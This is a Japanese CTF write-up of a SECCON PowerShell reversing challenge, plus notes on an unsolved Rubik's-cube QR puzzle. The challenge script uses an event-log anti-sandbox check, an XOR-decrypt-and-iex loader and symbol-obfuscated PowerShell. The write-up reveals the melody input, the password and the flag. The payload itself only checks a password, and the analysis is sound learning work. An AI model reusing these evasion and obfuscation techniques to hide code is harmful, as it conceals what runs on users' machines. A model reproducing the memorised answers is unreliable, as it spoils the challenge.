0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x; <# Host Check #> Write-Host -b 00 -f 15 Checking Host... Please wait... -n Try{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit } }Catch{ Write-Host "Failed: No admin rights!" Exit } Write-Host "Check passed" $keytone=@{'a'=261.63} $pk='a' ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k } Write-Host -b 00 -f 15 "Play the secret melody." Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' w ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' e ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' t ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' y ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' u ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 ' ' Write-Host -b 15 -f 00 -n ' a |' Write-Host -b 15 -f 00 -n ' s |' Write-Host -b 15 -f 00 -n ' d |' Write-Host -b 15 -f 00 -n ' f |' Write-Host -b 15 -f 00 -n ' g |' Write-Host -b 15 -f 00 -n ' h |' Write-Host -b 15 -f 00 -n ' j |' Write-Host -b 15 -f 00 ' k ' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 ' ' Write-Host $stage1=@();$f=""; While($stage1.length -lt 14){ $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown") $k=[String]$key.Character $f+=$k; If($keytone.Contains($k)){ $stage1+=[math]::floor($keytone[$k]) [console]::beep($keytone[$k],500) } } $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) If($secret.length -eq $stage1.length){ For ($i=1; $i -le $secret.length; $i++) { If($secret[$i] -ne $stage1[$i]){ Exit } } x "Correct. Move to the next stage." } $text=@" YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP EUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08R QxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFK F0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVB TB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4T SBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNN FUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtD TBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wT RBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNI FUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdM E0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wT QRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNE FU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYV QU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVB TxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFP EUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAx FUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFK F0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoX TB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdM HTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwd ShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsV Q04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVD ThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwR RhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFG FU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUV QUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVB TBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4T KhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNI Fk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IW ThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZO E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E= "@ $plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
While($stage1.length -lt 14)
でループして入力値を受け取り,その後のifとforでチェックして If($secret[$i] -ne $stage1[$i])
を通るようであればExitしているらしいです.まずはここを通らないようにする必要がありそうです.
まずsecretですが $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
このように宣言されています.なんかドレミの周波数っぽいです.440はラですし.
$stage1に上記の通りに音階を準備したいところですが,どの鍵盤を叩けばラ(440)がでるかとかピアノやっている人なら鍵盤を見てわかるのでしょうか,僕はわからないので大人しくコードを読みました.
$stage1は $stage1+=[math]::floor($keytone[$k])
とあるので$keytoneと$kを見る必要がありますが,この直前に$kには入力値を入れていることがわかるので,$keytoneを見ていきます.
$keytone=@{'a'=261.63} $pk='a' ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k }
$keytoneは連想配列として定義されていて,どうやら'a'がドらしいです.$keytoneにはこれら ('w','s','e','d','f','t','g','y','h','u','j','k')
をkeyにして値を追加していっています.
この処理を別ファイルに書き出して,最終的に$keytoneを出力してみました.
PS C:\Users\ywkw1\Work> .\keytone.ps1 a 261.63 w 277.187329377222 s 293.669745699181 e 311.132257498162 d 329.633144283996 f 349.234151046506 t 370.000694323673 g 392.002080523246 y 415.31173722644 h 440.007458245659 u 466.171663254114 j 493.891672853823 k 523.26
よって, (440,440,493,440,440,493,440,493,523,493,440,493,440,349)
この順番になるように打つとすると, hhjhhjhjkjhjhf
です.
早速打ってみると「さくらさくら」が流れて,以下のようにpasswordを求められるようになりました.
Correct. Move to the next stage. Enter the password: hoge
再びスクリプトを見ていきます.
$plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
$textというbase64でエンコードされた変数に対して,先ほどの正しい入力値を使ってxorで復号しているようです.その後,それを実行しているようなので,再びどんなコードが実行されているのか$plainを別ファイルへ書き出してみました.
すると,以下のような内容のファイルが.
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
なんだか凄いことになっていますが,記号プログラミングっぽいとわかります.
見やすいように整理します.
${;} =+$(); ${=} =${;}; ${+} =++${;}; ${@} =++${;}; ${.} =++${;}; ${[} =++${;}; ${]}=++${;}; ${(}=++${;}; ${)}=++${;}; ${&}=++${;}; ${|}=++${;}; ${"} = "["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;} = "".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
最初いくつかの変数を宣言した後,最下行で実行しているっぽいです.末尾のパイプを使った |${;}"|&${;}
辺りで実行してそうなのでこれを削除してから,なにが実行されているのかを見るために Write-Host ${;}
してみます.
PS C:\Users\ywkw1\Work> .\plain.ps1 [CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 iex
(僕はここで,[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 がフラグやんけ!って思ってASCII変換してでてきた SECCON{$ECCON}
という文字列をsubmitして見事に間違えました.)
全て文字に直してみると,以下のようになりました.
$ECCON=Read-Host -Prompt 'Enter the password' If($ECCON -eq 'P0wEr$H311'){ Write-Host 'Good Job!'; Write-Host "SECCON{$ECCON}" }
$ECCONに入力値を流し込んで,それが P0wEr$H311
という文字列と等しければそれをフラグとして出力するようになっています.
ということで,フラグは SECCON{P0wEr$H311}
でした.
取り組んだが解けなかった問題
Qubic Rube (Programming 300)
QRコードが6面に貼られた3x3x3のルービックキューブが出てきて,揃えて出てくるQRコードを読むと次の問題へっていうやつです.これを50回繰り返す必要があります.配色が日本配色でした.QRコードについて調べていた時期があったり,ルービックキューブも趣味でやっているので俺得問題やんけ!ってなって始めたのがきっかけです.
この問題では実際にQubic Rubeを作ってみて解いていたのですが,そもそも作った経緯が,問題が変わってもQRコード自体は変らないと思い込んでいて,なら実際に作ったほうが楽になるんじゃねと思ったのがきっかけです.チームメンバーの一人はステージ3ぐらいまでペイントツールで解いていて問題には気づいていたらしいのですが,お互いの情報共有や会話が上手く噛み合っていなかったのもあって,情報共有大事だなと思いました.
さらに運の悪いことに,6面それぞれの画像がWebサイトのソースコードから入手できることに気づかず,ドット絵を描くツールを使って全部手打ちで書き起こしていました.結果,7時間ほどでQubic Rubeは爆誕したわけです.
